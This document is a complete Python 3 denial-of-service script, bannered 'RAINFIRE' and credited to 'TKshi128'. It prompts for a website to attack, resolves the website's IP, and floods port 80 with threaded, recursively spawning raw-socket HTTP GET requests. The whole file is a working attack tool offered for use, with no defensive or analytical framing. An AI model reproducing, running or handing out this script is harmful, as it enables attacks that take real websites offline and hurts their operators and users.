Python 3 DOS Script

#_____ _____imports _____

import random
import os
import socket
import string
import sys
import threading
import time


#share variable for thread counts
thread_num = 0
thread_num_mutex = threading.Lock()

#___________________UNDER METHOD _________________________

class AttackVector:
    def __init__(self,address,port,num_req):
        self.address = address
        self.ip = ""
        self.port = port
        self.num_req = num_req
        self.RandStringParsed = ""

    def FQDNparse(self):
        """_____________ Doc ___________________
            Converts a Fully Qualified Domain Name
            into ip address for further use
        """
        try:
            HeaderRemover = str(self.address).replace("https://", "").replace("http://", "").replace("www.", "")
            self.ip = socket.gethostbyname(HeaderRemover)

        except socket.gaierror:
            print("incorrect website entered")
            sys.exit(2)


    def url_path_forge(self):
        """_____________ Doc ____________________
            Generates random string to send the server
        """
        randstring = str(string.ascii_letters + string.digits+string.punctuation)
        self.RandStringParsed = "".join(random.sample(randstring, 5))

    def core(self):
        """_____________ Doc ____________________
            Creates threads RAW sockets and send forged
            message to the server by socket binding

        """
        RandomSend = self.RandStringParsed
        dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        try:
            # RAW SOCKET connection
            msg = "GET {} HTTP/1.1\nHost: {}\n\n".format(RandomSend,self.address)
            dos.connect((self.ip, self.port))
            dos.send(msg.encode())
            #print("GET {} HTTP/1.1\nHost: {}\n\n" .format(url_path,host))
        except socket.error as e:
            print("the error {} occured".format(e))
        finally:
            # close socket
            dos.shutdown(socket.SHUT_RDWR)
            dos.close()

        self.print_status()
        all_threads = []
        for i in range(int(self.num_req)):
            t1 = threading.Thread(target=self.core)
            t1.start()
            all_threads.append(t1)

            time.sleep(0.01)
        for current_thread in all_threads:
            current_thread.join()

    def print_status(self):
        global thread_num
        thread_num_mutex.acquire(True)
        thread_num += 1
        print("\n " + time.ctime().split(" ")[3] + " " + "[" + str(thread_num), end='\r')
        thread_num_mutex.release()


#____________NORMAL METHODS ___________________________


def getvalues():
    """_____ Doc _____
        Fetching values
    """
    address = input("enter the website url to attack >>> ") # www.whateveryouwant.com                                # is to be FQDN parsed
    port = 80                                     # default port
    num_requests = input("enter the number of Threads to run >>>") # 10 000 by default
    return address,port,num_requests


def banner():
    print("""
██████╗  █████╗ ██╗███╗   ██╗███████╗██╗██████╗ ███████╗
██╔══██╗██╔══██╗██║████╗  ██║██╔════╝██║██╔══██╗██╔════╝
██████╔╝███████║██║██╔██╗ ██║█████╗  ██║██████╔╝█████╗
██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝  ██║██╔══██╗██╔══╝
██║  ██║██║  ██║██║██║ ╚████║██║     ██║██║  ██║███████╗
╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝
            (May the 5OO force be with you)

    Author: TKshi128
    vendor: 2.0
    Description: Denial Of Service script
    Written using under methods and python 3.6

    """)



if __name__ == '__main__':
    """
        a = address to attack www.stuff.com
        b = port but is left by default. Modular for FU
        c = Threads numbers

        dos is an object that is initialised with a b and c
        dos Parse is internal computing of values
        dos.core starts attacking
    """
    banner() #speaks by itself
    a, b, c = getvalues()
    dos = AttackVector(a, b, c)
    dos.FQDNparse()
    dos.core()
    # dos is our new attack class